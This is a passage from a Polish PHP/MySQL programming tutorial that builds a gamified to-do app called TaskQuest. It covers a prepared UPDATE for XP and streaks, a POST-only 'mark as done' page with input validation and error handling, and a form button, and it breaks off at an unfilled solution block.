<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> nadal wywołuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane)</code>. PHP nie zgłosi błędu (nadmiarowy argument jest pomijany), ale strona może teraz pokazywać zawyżony streak. Usuniemy to wywołanie w kroku 7a.</p>
</blockquote>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE &#8211; metoda po zmianach</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    // Wywołujemy tylko wtedy, gdy użytkownik właśnie wykonał zadanie (oznacz-wykonane.php).
    public function aktualizujStreak(): void
    {
        if ($this-&gt;dataOstatniejAktywnosci === null) {
            $this-&gt;streak = 1; // pierwsze wykonane zadanie w historii — seria się zaczyna
            return;
        }

        $this-&gt;streak = aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, true);
    }</code></pre>
</details>



<h3 class="wp-block-heading">5c. SAMODZIELNIE: funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code></h3>



<p class="wp-block-paragraph">Po wykonaniu zadania w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> muszą się zmienić trzy kolumny gracza:</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> — dodajemy nagrodę za zadanie,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">streak</code> — wpisujemy nową wartość, policzoną w 5b,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> — dzisiejsza data.</li>
</ul>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code>, napisz funkcję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak): void</code></pre>



<p class="wp-block-paragraph">Wymagania:</p>



<ol class="wp-block-list">
<li><strong>Jedno</strong> zapytanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> zmienia wszystkie trzy kolumny.</li>



<li>XP <strong>dodajesz</strong> do wartości, która jest w bazie (wzór <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ...</code> z 3.1), a nie wpisujesz gotowej liczby.</li>



<li>Streak wpisujesz dokładnie taki, jaki funkcja dostała w parametrze.</li>



<li>Datę ustawia funkcja SQL — ta sama, której używa <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code>.</li>



<li>Zmienia się tylko wiersz tego jednego użytkownika.</li>
</ol>



<p class="wp-block-paragraph"><strong>Sprawdzenie</strong> w brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika($polaczenie, 2, 30, 1);</code></pre>



<p class="wp-block-paragraph">Oczekiwane w phpMyAdmin: Ola ma 280 XP, streak 1 i dzisiejszą datę aktywności. Kama bez zmian. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">SET</code> kolumny oddzielasz przecinkami: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SET a = ..., b = ..., c = ...</code>. Znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> będą trzy. Policz, w jakiej kolejności stoją w zapytaniu, i w tej samej kolejności ułóż litery i zmienne w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy SET xp = xp + ?, streak = ?, data_ostatniej_aktywnosci = ... WHERE ...</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak): void
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE uzytkownicy SET xp = xp + ?, streak = ?, data_ostatniej_aktywnosci = CURDATE() WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('iii', $zdobyteXp, $streak, $uzytkownikId);
    $zapytanie-&gt;execute();
}</code></pre>
</details>



<p class="wp-block-paragraph"><strong>Dlaczego XP dodaje SQL, a streak liczy PHP?</strong></p>



<ul class="wp-block-list">
<li><strong>XP.</strong> Moglibyśmy wywołać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;dodajXp(...)</code> i zapisać gotową liczbę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = ?</code>). Problem: obiekt zna XP z chwili wczytania. Jeśli w tym samym czasie drugie żądanie tego gracza doda XP (druga karta), zapis gotowej liczby <strong>nadpisze</strong> tamten wynik i XP przepadnie. <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code> dolicza do tego, co jest w bazie w chwili zapisu.</li>



<li><strong>Streak.</strong> Reguły serii są w PHP (funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code>) i nie przepisujemy ich na SQL.</li>



<li><strong>Data.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code>, ta sama funkcja co przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>. Obie daty ustawia ten sam zegar (MySQL).</li>
</ul>



<h2 class="wp-block-heading">Krok 6 — strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code></h2>



<p class="wp-block-paragraph">Ta strona robi jedną rzecz: przyjmuje kliknięcie „Zrobione!”, zapisuje zmiany w bazie i odsyła gracza na listę. Niczego nie wyświetla (poza awarią bazy), podobnie jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>. Zbudujemy ją w pięciu krokach, a po niektórych od razu sprawdzisz efekt. Cały plik znajdziesz w sekcji 9 — zajrzyj tam dopiero po skończeniu.</p>



<h3 class="wp-block-heading">6a. Nowy plik i dołączane pliki</h3>



<ol class="wp-block-list">
<li>W katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> (obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>) utwórz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>. Zacznij od <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code>. Plik ma sam PHP, więc bez zamykającego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>.</li>



<li>Pierwsza instrukcja: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();</code> — strona korzysta z sesji (konwencja od Lekcji 14).</li>



<li>Pod nią dołącz przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/...';</code> wszystkie potrzebne pliki. Listę ułóż sama/sam, odpowiadając na pytania:
<ul class="wp-block-list">
<li>skąd funkcje bazy wezmą stałe <code class="prettyprint lang-sql" style="font-size: 0.85em;">BAZA_...</code>?</li>



<li>strona dostanie z bazy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> i obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> — co musi być dołączone, żeby te obiekty mogły powstać?</li>



<li>metody klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> korzystają z funkcji z dwóch plików (napisane jest to w komentarzu na górze <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>) — z których?</li>



<li>w którym pliku są <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat()</code>?</li>



<li>w którym są funkcje bazy?</li>
</ul>
</li>



<li>Pod dołączeniami wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania();</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Sprawdzenie.</strong> Zalogowana/zalogowany wpisz w pasku adresu <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/oznacz-wykonane.php</code>. Oczekiwane: pusta biała strona, bez błędów, bo plik jeszcze nic nie robi. Po wylogowaniu ten sam adres przekierowuje na logowanie.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Plików jest siedem. Porównaj z listą <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — ta strona potrzebuje prawie tych samych, ale nie wyświetla listy zadań ani nie czyści tytułów.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();</code></pre>
</details>



<h3 class="wp-block-heading">6b. Tylko POST</h3>



<p class="wp-block-paragraph">Strona zmienia dane, więc reaguje wyłącznie na POST (reguła z Lekcji 13). Każde inne wejście, np. wpisanie adresu, odsyła na listę bez żadnej zmiany.</p>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>. Na jego początku jest warunek, który sprawdza metodę żądania i przekierowuje. Przepisz ten sam warunek do <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania();</code>. Sprawdź, czy przekierowuje na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph"><strong>Sprawdzenie.</strong> Ten sam adres co w 6a (zalogowana/zalogowany). Oczekiwane: zamiast pustej strony — przekierowanie na listę zadań.</p>



<h3 class="wp-block-heading">6c. Numer zadania z formularza</h3>



<p class="wp-block-paragraph">Przycisk „Zrobione!” (krok 7) wyśle w formularzu pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> — numer klikniętego zadania. Pod warunkiem z 6b:</p>



<ol class="wp-block-list">
<li>Odczytaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['id']</code> do zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieIdTekst</code>. Zrób to tak samo jak odczyt pól w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, czyli z <code class="prettyprint lang-sql" style="font-size: 0.85em;">?? ''</code>, bo pola może w ogóle nie być.</li>



<li>Sprawdź, czy tekst składa się z samych cyfr. Użyj tego samego wyrażenia regularnego, którym <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> sprawdza XP. Jeśli <strong>nie</strong> pasuje, zrób przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>, bez komunikatu. Zwykły formularz zawsze wysyła liczbę, więc coś innego oznacza, że ktoś przy nim majstrował.</li>



<li>Dopiero po sprawdzeniu zamień tekst na liczbę i zapisz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieId</code>.</li>



<li>Numer zalogowanego gracza zapisz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code>). Nie potrzebujesz tu <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, bo wyżej jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>.</li>
</ol>



<p class="wp-block-paragraph">Działanie tego fragmentu sprawdzisz w Teście 6 (F12), gdy będzie już przycisk.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieIdTekst = $_POST&#91;'id'] ?? '';

if (!preg_match('/^\d+$/', $zadanieIdTekst)) {
    header('Location: index.php');
    exit;
}

$zadanieId = (int) $zadanieIdTekst;
$uzytkownikId = $_SESSION&#91;'uzytkownik_id'];</code></pre>
</details>



<h3 class="wp-block-heading">6d. SAMODZIELNIE: trzy możliwe wyniki kliknięcia</h3>



<p class="wp-block-paragraph">Pod kodem z 6c otwórz blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>. W nim połącz się z bazą (<code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>) i obsłuż trzy sytuacje:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Jak ją rozpoznasz</th><th>Co robi strona</th></tr></thead><tbody><tr><td>zadania nie ma albo jest cudze</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadanieUzytkownika()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code></td><td>komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie znaleziono takiego zadania.</code></td></tr><tr><td>zadanie jest już wykonane</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td><td>komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">To zadanie jest już wykonane.</code></td></tr><tr><td>udało się</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td><td>wczytuje gracza z bazy, aktualizuje jego streak (5b), zapisuje postęp (5c), komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie wykonane! +N XP</code>, gdzie N to nagroda za zadanie</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Komunikaty ustawiasz funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat()</code> (Lekcja 14).</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> wymaga <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>. Napiszesz go w 6e — zrób to od razu, zanim uruchomisz stronę. Pod całym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> dopisz przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>. Wykona się ono w każdej z trzech sytuacji, bo komunikat czeka w sesji.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<ul class="wp-block-list">
<li>Kolejność ma znaczenie: najpierw <strong>odczyt</strong> zadania (wiersz 1 tabeli), potem <strong>zmiana</strong> (wiersze 2 i 3). Wystarczy jedno <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">elseif</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>.</li>



<li>W wierszu 2 wywołanie funkcji możesz wpisać bezpośrednio w warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">elseif</code> — funkcja wykona <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i od razu zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>.</li>



<li>Nagrodę za zadanie weźmiesz z obiektu zadania. Nowy streak weźmiesz z obiektu gracza <strong>po</strong> wywołaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code>.</li>
</ul>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $polaczenie = polaczZBaza();
    $zadanie = /* zadanie tego gracza albo null */;

    if (/* nie ma zadania */) {
        // komunikat
    } elseif (/* oznaczenie się NIE udało */) {
        // komunikat
    } else {
        // 1. wczytaj gracza
        // 2. zaktualizuj jego streak
        // 3. zapisz postęp: id gracza, nagroda za zadanie, nowy streak
        // 4. komunikat z liczbą XP
    }
}</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $polaczenie = polaczZBaza();
    $zadanie = wczytajZadanieUzytkownika($polaczenie, $zadanieId, $uzytkownikId);

    if ($zadanie === null) {
        ustawKomunikat('Nie znaleziono takiego zadania.');
    } elseif (!oznaczZadanieJakoWykonane($polaczenie, $zadanieId, $uzytkownikId)) {
        ustawKomunikat('To zadanie jest już wykonane.');
    } else {
        $uzytkownik = wczytajUzytkownika($polaczenie, $uzytkownikId);
        $uzytkownik-&gt;aktualizujStreak();
        zapiszPostepUzytkownika($polaczenie, $uzytkownikId, $zadanie-&gt;pobierzXp(), $uzytkownik-&gt;pobierzStreak());
        ustawKomunikat('Zadanie wykonane! +' . $zadanie-&gt;pobierzXp() . ' XP');
    }
}</code></pre>
</details>



<p class="wp-block-paragraph"><strong>Dlaczego tak:</strong></p>



<ul class="wp-block-list">
<li><strong>Najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>.</strong> Potrzebujemy nagrody XP i chcemy odróżnić „nie ma / cudze” od „już wykonane”, żeby pokazać właściwy komunikat.</li>



<li><strong>O przyznaniu XP decyduje wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code></strong>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyWykonane()</code>. To wzór z 3.3: odczyt mógł być sprzed ułamka sekundy, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> rozstrzyga ostatecznie.</li>



<li><strong>Gracza wczytujemy dopiero, gdy XP się należy.</strong> Nie ma sensu pytać bazy, jeśli nic nie zmieniamy. <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code> nie zwróci tu <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>: zadanie należy do tego gracza, a klucz obcy nie pozwala istnieć zadaniu bez właściciela.</li>



<li><strong>Komunikat „+N XP”</strong> zawiera liczbę z bazy, a nie tekst od użytkownika — zasada z Lekcji 14 obowiązuje.</li>



<li>Wszystkie trzy komunikaty są zielone (<code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces</code>), bo komunikat jednorazowy z Lekcji 14 ma jeden styl. „To zadanie jest już wykonane.” na zielono to kompromis, na który się godzimy.</li>
</ul>



<h3 class="wp-block-heading">6e. Awaria bazy</h3>



<p class="wp-block-paragraph">Gdy baza nie działa, strona nie może po cichu przekierować, bo gracz myślałby, że kliknięcie zadziałało. Pokażemy ramkę błędu, tak jak robi to <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> od Lekcji 18.</p>



<ol class="wp-block-list">
<li>Za klamrą zamykającą <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek) { }</code>.</li>



<li>Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i znajdź blok z komentarzem <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- awaria bazy ...</code>. Skopiuj jego <strong>wnętrze</strong> (od <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony = 'TaskQuest';</code> do <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code>) do środka <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>.</li>



<li>Linię z <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> i ramką błędu zamień tak, żeby ramka miała tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się zapisać zmiany: </code> i komunikat wyjątku. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> komunikat był w zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code>. Tu weź go wprost z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getMessage()</code> i doklej kropką.</li>



<li>Pod linią z ramką, przed dołączeniem stopki, dodaj link powrotu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;</code>. Gracz trafił na stronę, która zwykle nic nie pokazuje, więc potrzebuje drogi powrotu.</li>
</ol>



<p class="wp-block-paragraph">Sprawdzisz to w Teście 8.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">} catch (Exception $wyjatek) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '&lt;p class="blad"&gt;Nie udało się zapisać zmiany: ' . $wyjatek-&gt;getMessage() . '&lt;/p&gt;';
    echo '&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;';
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

header('Location: index.php');
exit;</code></pre>
</details>



<p class="wp-block-paragraph">Przycisku „Zrobione!” jeszcze nie ma, więc pełne działanie strony sprawdzisz po kroku 7.</p>



<h2 class="wp-block-heading">Krok 7 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: przycisk „Zrobione!” i koniec symulacji</h2>



<h3 class="wp-block-heading">7a. Usuwamy symulację streaka</h3>



<p class="wp-block-paragraph">W bloku wywołań usuń <strong>dwie</strong> linie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane = $liczbaWykonanych &gt; 0;</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);</code></pre>



<p class="wp-block-paragraph">Streak jest teraz liczony i zapisywany w <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>. Strona pokazuje wartość z bazy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzStreak()</code> w prezentacji — bez zmian). Wyszukaj w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> — nie może już występować.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Uwaga: gdybyś zostawił(a) drugą linię, PHP <strong>nie zgłosi błędu</strong>. Nadmiarowy argument przy wywołaniu metody jest po cichu pomijany. Metoda przeliczyłaby streak przy każdym wyświetleniu — tak jakby gracz przy każdym odświeżeniu wykonywał zadanie (pytanie kontrolne 10).</p>
</blockquote>



<h3 class="wp-block-heading">7b. SAMODZIELNIE: przycisk przy zadaniu</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> znajdź pętlę <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadaniaDoWyswietlenia as $zadanie) {</code>. Każde zadanie jest w niej wypisywane przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;div class="$klasa"&gt; ... &lt;/div&gt;</code>. Ostatnia linia pętli to <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/div&gt;";</code>.</p>



<p class="wp-block-paragraph"><strong>Uwaga — nie ruszaj linii z terminem.</strong> Pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;p&gt;Termin: " ...</code> jest warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!$zadanie-&gt;czyWykonane())</code> z komunikatem terminu, a pod nim <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/p&gt;";</code>. Nie wstawiaj przycisku w ten warunek. Po pierwsze, zniknąłby komunikat terminu. Po drugie, formularz znalazłby się wewnątrz akapitu <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;</code>, a w HTML formularz nie może stać w akapicie. Przeglądarka zamknie wtedy <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form&gt;</code> na własną rękę, a to końcowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;/p&gt;</code> zostanie bez pary.</p>



<p class="wp-block-paragraph">Co zrobić:</p>



<p class="wp-block-paragraph">1. <span style="font-size: revert; color: initial;">Nad linią </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/div&gt;";</code><span style="font-size: revert; color: initial;"> (ostatnia w pętli) dopisz warunek, który jest spełniony tylko dla </span><strong style="font-size: revert; color: initial;">niewykonanych</strong><span style="font-size: revert; color: initial;"> zadań. Jest to ten sam warunek, który stoi przy komunikacie terminu.</span></p>



<p class="wp-block-paragraph">2. <span style="font-size: revert; color: initial;">W środku warunku wypisz przez </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code><span style="font-size: revert; color: initial;"> formularz. Dla zadania o </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code><span style="font-size: revert; color: initial;"> = 3 w źródle strony ma się pojawić dokładnie taki HTML:</span></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"></code><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form class="akcja" method="post" action="oznacz-wykonane.php"></code>    &lt;input type="hidden" name="id" value="3">
    &lt;button type="submit">Zrobione!&lt;/button>
&lt;/form></pre>



<p>Liczbę w <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> weź z obiektu zadania i doklej kropką. Pozostałe linie to stały tekst.</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">type="hidden"</code> to pole, którego nie widać na stronie, a które formularz wysyła jak każde inne. Przenosi <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, czyli informację, <strong>którego</strong> zadania dotyczy kliknięcie.</li>



<li>Dlaczego formularz, a nie link <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php?id=3</code>? Link to GET, a GET nie zmienia danych (Lekcja 13). Przeglądarki i różne narzędzia potrafią same „odwiedzać” linki, np. przy wstępnym ładowaniu stron. Każde takie odwiedzenie wykonałoby zadanie.</li>
</ul>



<p class="wp-block-paragraph"><strong>Sprawdzenie.</strong> Odśwież stronę i otwórz źródło (Ctrl+U):</p>



<ul class="wp-block-list">
<li>każde niewykonane zadanie ma swój formularz z <strong>innym</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>, równym jego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z phpMyAdmin,</li>



<li>wykonane zadania nie mają formularza,</li>



<li>komunikaty terminu („Zostało N dni” itd.) nadal są widoczne.</li>
</ul>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Tekst z cudzysłowami podwójnymi w środku najwygodniej pisać w apostrofach: <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo '&lt;form class="akcja" ...&gt;';</code>. Doklejanie liczby: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'... value="' . wartosc . '"&gt;'</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
